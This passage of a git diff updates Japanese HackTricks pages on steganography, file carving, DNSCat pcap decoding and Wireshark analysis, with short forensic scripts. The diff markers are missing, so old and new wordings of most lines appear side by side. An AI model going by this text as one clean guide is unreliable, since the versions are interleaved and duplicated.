||||
ffmpegは、オーディオファイルの整合性を評価するために重要であり、詳細な情報を強調し、いかなる不一致を特定します。
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavStegは、最も重要でないビット戦略を使用してWAVファイル内にデータを隠したり抽出したりするのに優れています。[GitHub](https://github.com/ragibson/Steganography#WavSteg)で利用可能です。コマンドには次のものがあります:
|
||||
WavStegは、最下位ビット戦略を使用してWAVファイル内にデータを隠蔽し、抽出するのに優れています。これは[GitHub](https://github.com/ragibson/Steganography#WavSteg)で入手可能です。コマンドには次のものが含まれます:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
|
@ -182,51 +174,47 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
DeepsoundはAES-256を使用して音声ファイル内の情報の暗号化と検出を可能にします。[公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードできます。
|
||||
Deepsoundは、AES-256を使用して音声ファイル内の情報を暗号化および検出することを可能にします。 [公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードできます。
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
オーディオファイルの視覚的および分析的検査には貴重なツールであるSonic Visualizerを使用すると、他の手段では検出できない隠された要素を明らかにすることができます。詳細は[公式ウェブサイト](https://www.sonicvisualiser.org/)をご覧ください。
|
||||
音声ファイルの視覚的および分析的検査において非常に貴重なツールであるSonic Visualizerは、他の手段では検出できない隠れた要素を明らかにすることができます。詳細は[公式ウェブサイト](https://www.sonicvisualiser.org/)をご覧ください。
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
オーディオファイル内のDTMFトーンを検出することは、[このDTMF検出器](https://unframework.github.io/dtmf-detect/)や[DialABC](http://dialabc.com/sound/detect/index.html)などのオンラインツールを使用して達成できます。
|
||||
音声ファイル内のDTMFトーンを検出するには、[このDTMF検出器](https://unframework.github.io/dtmf-detect/)や[DialABC](http://dialabc.com/sound/detect/index.html)などのオンラインツールを使用できます。
|
||||
|
||||
## **その他のテクニック**
|
||||
## **Other Techniques**
|
||||
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
平方数になるバイナリデータはQRコードを表す可能性があります。次のスニペットを使用して確認してください:
|
||||
整数に平方するバイナリデータはQRコードを表す可能性があります。このスニペットを使用して確認してください:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
バイナリから画像への変換については、[dcode](https://www.dcode.fr/binary-image)を確認してください。QRコードを読み取るには、[このオンラインバーコードリーダー](https://online-barcode-reader.inliteresearch.com/)を使用してください。
|
||||
|
||||
### **点字翻訳**
|
||||
|
||||
点字を翻訳するには、[Branah点字翻訳](https://www.branah.com/braille-translator)が優れたリソースです。
|
||||
点字の翻訳には、[Branah Braille Translator](https://www.branah.com/braille-translator)が優れたリソースです。
|
||||
|
||||
## **参考文献**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と実践:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,23 +9,15 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## カービングと回復ツール
|
||||
|
||||
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にもっと多くのツールがあります。
|
||||
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にもっと多くのツールがあります
|
||||
|
||||
### Autopsy
|
||||
|
||||
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを解除してください。何もコメントを解除しない場合、foremostはデフォルトで設定されたファイルタイプを検索します。
|
||||
もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さなければ、foremostはデフォルトで設定されたファイルタイプを検索します。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -59,13 +51,13 @@ scalpel file.img -o output
|
|||
```
|
||||
### Bulk Extractor
|
||||
|
||||
このツールはkaliに含まれていますが、こちらでも見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
このツールはkaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
すべての情報をナビゲートします(パスワード?)、パケットを分析します([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。
|
||||
すべての情報をナビゲートします(パスワード?)、パケットを分析します([**Pcaps分析**](../pcap-inspection/)を参照)、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。
|
||||
|
||||
### PhotoRec
|
||||
|
||||
|
@ -102,14 +94,8 @@ AESキーのスケジュールを検索することでAESキーを検索しま
|
|||
|
||||
## 補完ツール
|
||||
|
||||
[**viu**](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。\
|
||||
Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
ターミナルから画像を見るために[**viu**](https://github.com/atanunq/viu)を使用できます。\
|
||||
PDFをテキストに変換して読むために、Linuxコマンドラインツール**pdftotext**を使用できます。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -120,8 +106,8 @@ GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,21 +15,13 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## カービングと回復ツール
|
||||
|
||||
さらに多くのツールは[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にあります。
|
||||
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にもっと多くのツールがあります。
|
||||
|
||||
### Autopsy
|
||||
|
||||
画像からファイルを抽出するためにフォレンジックで最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していません。
|
||||
画像からファイルを抽出するためにフォレンジックで最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
|
@ -59,9 +51,9 @@ scalpel file.img -o output
|
|||
```
|
||||
### Bulk Extractor
|
||||
|
||||
このツールはkaliに含まれていますが、ここで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
このツールはKaliに含まれていますが、こちらでも見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは:
|
||||
このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
@ -86,7 +78,7 @@ GUIとCLIのバージョンがあります。PhotoRecが検索する**ファイ
|
|||
* サンプルの一部に焦点を当てる
|
||||
* PEまたはELF実行可能ファイルの**文字列とリソース**を見る
|
||||
* ファイルの暗号解析のための**パターン**を取得
|
||||
* パッカーまたはエンコーダアルゴリズムを**特定**
|
||||
* パッカーやエンコーダアルゴリズムを**特定**
|
||||
* パターンによるステガノグラフィの**識別**
|
||||
* **視覚的**なバイナリ差分
|
||||
|
||||
|
@ -96,7 +88,7 @@ BinVisは、ブラックボックスシナリオで未知のターゲットに
|
|||
|
||||
### FindAES
|
||||
|
||||
キーのスケジュールを検索することによってAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。
|
||||
AESキーのスケジュールを検索することでAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。
|
||||
|
||||
[こちらからダウンロード](https://sourceforge.net/projects/findaes/)。
|
||||
|
||||
|
@ -105,12 +97,6 @@ BinVisは、ブラックボックスシナリオで未知のターゲットに
|
|||
[**viu**](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。\
|
||||
Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -120,8 +106,8 @@ GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,28 +10,16 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
DNSCatによって**流出したデータ**を含むpcapがある場合(暗号化を使用していない場合)、流出したコンテンツを見つけることができます。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
DNSCatによって**データが外部に流出している**pcapがある場合(暗号化を使用せず)、流出したコンテンツを見つけることができます。
|
||||
|
||||
最初の**9バイト**は実際のデータではなく、**C\&C通信**に関連していることを知っておくだけで十分です:
|
||||
**最初の9バイト**は実際のデータではなく、**C&C通信**に関連していることを知っておく必要があります。
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
@ -50,7 +38,7 @@ last = qry
|
|||
|
||||
#print(f)
|
||||
```
|
||||
詳細情報については: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
詳細については、次のリンクを参照してください: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||
|
||||
Python3で動作するスクリプトがあります: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||
|
@ -66,8 +54,8 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、企業やその顧客が **stealer malwares** によって **compromised** されているかどうかを確認するための **無料** 機能を提供する **ダークウェブ** に基づいた検索エンジンです。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Improve your Wireshark skills
|
||||
|
||||
|
@ -44,73 +31,73 @@ WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウ
|
|||
|
||||
**Expert Information**
|
||||
|
||||
_**Analyze** --> **Expert Information**_ をクリックすると、パケットの **analyzed** 状態の **overview** が表示されます:
|
||||
_**Analyze** --> **Expert Information**_をクリックすると、**分析された**パケットで何が起こっているかの**概要**が得られます:
|
||||
|
||||
![](<../../../.gitbook/assets/image (256).png>)
|
||||
|
||||
**Resolved Addresses**
|
||||
|
||||
_**Statistics --> Resolved Addresses**_ の下には、wireshark によって "**resolved**" されたポート/トランスポートからプロトコル、MACから製造元などのいくつかの **information** を見つけることができます。通信に関与しているものを知るのは興味深いです。
|
||||
_**Statistics --> Resolved Addresses**_の下には、wiresharkによって「**解決された**」いくつかの**情報**(ポート/トランスポートからプロトコル、MACから製造元など)を見つけることができます。通信に関与しているものを知ることは興味深いです。
|
||||
|
||||
![](<../../../.gitbook/assets/image (893).png>)
|
||||
|
||||
**Protocol Hierarchy**
|
||||
|
||||
_**Statistics --> Protocol Hierarchy**_ の下には、通信に関与する **protocols** とそれに関するデータがあります。
|
||||
_**Statistics --> Protocol Hierarchy**_の下には、通信に関与する**プロトコル**とそれに関するデータがあります。
|
||||
|
||||
![](<../../../.gitbook/assets/image (586).png>)
|
||||
|
||||
**Conversations**
|
||||
|
||||
_**Statistics --> Conversations**_ の下には、通信の **summary of the conversations** とそれに関するデータがあります。
|
||||
_**Statistics --> Conversations**_の下には、通信の**会話の概要**とそれに関するデータがあります。
|
||||
|
||||
![](<../../../.gitbook/assets/image (453).png>)
|
||||
|
||||
**Endpoints**
|
||||
|
||||
_**Statistics --> Endpoints**_ の下には、通信の **summary of the endpoints** とそれぞれに関するデータがあります。
|
||||
_**Statistics --> Endpoints**_の下には、通信の**エンドポイントの概要**とそれぞれに関するデータがあります。
|
||||
|
||||
![](<../../../.gitbook/assets/image (896).png>)
|
||||
|
||||
**DNS info**
|
||||
|
||||
_**Statistics --> DNS**_ の下には、キャプチャされた DNS リクエストに関する統計があります。
|
||||
_**Statistics --> DNS**_の下には、キャプチャされたDNSリクエストに関する統計があります。
|
||||
|
||||
![](<../../../.gitbook/assets/image (1063).png>)
|
||||
|
||||
**I/O Graph**
|
||||
|
||||
_**Statistics --> I/O Graph**_ の下には、通信の **graph** があります。
|
||||
_**Statistics --> I/O Graph**_の下には、**通信のグラフ**があります。
|
||||
|
||||
![](<../../../.gitbook/assets/image (992).png>)
|
||||
|
||||
### Filters
|
||||
|
||||
ここでは、プロトコルに応じた wireshark フィルターを見つけることができます: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
ここでは、プロトコルに応じたwiresharkフィルターを見つけることができます:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
他の興味深いフィルター:
|
||||
|
||||
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||
* HTTP と初期 HTTPS トラフィック
|
||||
* HTTPおよび初期HTTPSトラフィック
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
|
||||
* HTTP と初期 HTTPS トラフィック + TCP SYN
|
||||
* HTTPおよび初期HTTPSトラフィック + TCP SYN
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
|
||||
* HTTP と初期 HTTPS トラフィック + TCP SYN + DNS リクエスト
|
||||
* HTTPおよび初期HTTPSトラフィック + TCP SYN + DNSリクエスト
|
||||
|
||||
### Search
|
||||
|
||||
セッションの **packets** 内の **content** を **search** したい場合は、_CTRL+f_ を押します。メイン情報バー (No., Time, Source など) に新しいレイヤーを追加するには、右ボタンを押してから列を編集します。
|
||||
セッションの**パケット**内の**コンテンツ**を**検索**したい場合は、_CTRL+f_を押します。メイン情報バー(No.、Time、Sourceなど)に新しいレイヤーを追加するには、右ボタンを押してから列を編集します。
|
||||
|
||||
### Free pcap labs
|
||||
|
||||
**無料のチャレンジで練習する:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
|
||||
**無料のチャレンジで練習する:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
|
||||
|
||||
## Identifying Domains
|
||||
|
||||
Host HTTP ヘッダーを表示する列を追加できます:
|
||||
Host HTTPヘッダーを表示する列を追加できます:
|
||||
|
||||
![](<../../../.gitbook/assets/image (639).png>)
|
||||
|
||||
HTTPS 接続を開始する際のサーバー名を追加する列も追加できます (**ssl.handshake.type == 1**):
|
||||
そして、開始HTTPS接続からサーバー名を追加する列(**ssl.handshake.type == 1**):
|
||||
|
||||
![](<../../../.gitbook/assets/image (408) (1).png>)
|
||||
|
||||
|
@ -118,7 +105,7 @@ HTTPS 接続を開始する際のサーバー名を追加する列も追加で
|
|||
|
||||
### From DHCP
|
||||
|
||||
現在の Wireshark では `bootp` の代わりに `DHCP` を検索する必要があります。
|
||||
現在のWiresharkでは、`bootp`の代わりに`DHCP`を検索する必要があります。
|
||||
|
||||
![](<../../../.gitbook/assets/image (1013).png>)
|
||||
|
||||
|
@ -134,25 +121,25 @@ _edit>preference>protocol>ssl>_
|
|||
|
||||
![](<../../../.gitbook/assets/image (1103).png>)
|
||||
|
||||
サーバーとプライベートキーのすべてのデータ (_IP, Port, Protocol, Key file and password_) を追加するには、_Edit_ を押します。
|
||||
_サーバーとプライベートキーのすべてのデータを追加するには、_Edit_を押します(_IP、Port、Protocol、Key fileおよびpassword_)
|
||||
|
||||
### Decrypting https traffic with symmetric session keys
|
||||
|
||||
Firefox と Chrome の両方には、TLS セッションキーをログに記録する機能があり、これを使用して Wireshark で TLS トラフィックを復号化できます。これにより、安全な通信の詳細な分析が可能になります。この復号化を実行する方法の詳細は、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) のガイドにあります。
|
||||
FirefoxとChromeの両方は、TLSセッションキーをログに記録する機能があり、これを使用してWiresharkでTLSトラフィックを復号化できます。これにより、安全な通信の詳細な分析が可能になります。この復号化を実行する方法の詳細は、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)のガイドにあります。
|
||||
|
||||
これを検出するには、環境内で変数 `SSLKEYLOGFILE` を検索します。
|
||||
これを検出するには、環境内で変数`SSLKEYLOGFILE`を検索します。
|
||||
|
||||
共有キーのファイルは次のようになります:
|
||||
|
||||
![](<../../../.gitbook/assets/image (820).png>)
|
||||
|
||||
これを wireshark にインポートするには、_edit > preference > protocol > ssl > そして (Pre)-Master-Secret log filename にインポートします:
|
||||
これをwiresharkにインポートするには、_edit > preference > protocol > ssl >_に移動し、(Pre)-Master-Secretログファイル名にインポートします:
|
||||
|
||||
![](<../../../.gitbook/assets/image (989).png>)
|
||||
|
||||
## ADB communication
|
||||
|
||||
APK が送信された ADB 通信から APK を抽出します:
|
||||
APKが送信されたADB通信からAPKを抽出します:
|
||||
```python
|
||||
from scapy.all import *
|
||||
|
||||
|
@ -179,29 +166,17 @@ f = open('all_bytes.data', 'w+b')
|
|||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
